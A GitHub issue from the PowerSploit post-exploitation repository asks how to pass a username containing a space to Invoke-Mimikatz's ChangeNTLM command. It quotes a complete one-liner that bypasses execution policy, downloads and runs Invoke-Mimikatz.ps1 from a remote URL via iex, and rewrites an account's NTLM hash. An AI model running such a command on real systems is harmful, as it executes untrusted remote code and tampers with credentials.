search

PowerShellMafia / PowerSploit

PowerSploit - A PowerShell Post-Exploitation Framework
Other
11.68k stars 4.59k forks source link

Invoke-Mimikatz: changeNTLM on users with spaces in user name #322

Closed Ageraluon closed 5 years ago

Ageraluon commented 5 years ago

In the following scenario on a Test User:

net user /ADD 'Test User' testpassword

I would like to invoke mimikatz to be able to change the ntlm hash to hash('testpassword2') in a powershell session. The following way seems to get me quite far:

$MiUsername = 'Test User'; 
$MiOldHash = 'D32A2901011176349B41D406DCC95A90';
$MiNewHash = '1E8690D90599968D601CBF5C8BBB75D9';
$MiCommand = "privilege::debug `"lsadump::ChangeNTLM /user:'$MiUsername' /old:$MiOldHash /new:$MiNewHash `"";Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/phra/PowerSploit/feat/update-invoke-mimikatz/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -Command $MiCommand

however, due to the space in the user name, the command is not invoked correctly. Is there any way to delimit the space character correctly in order to be able to let the command run successfully?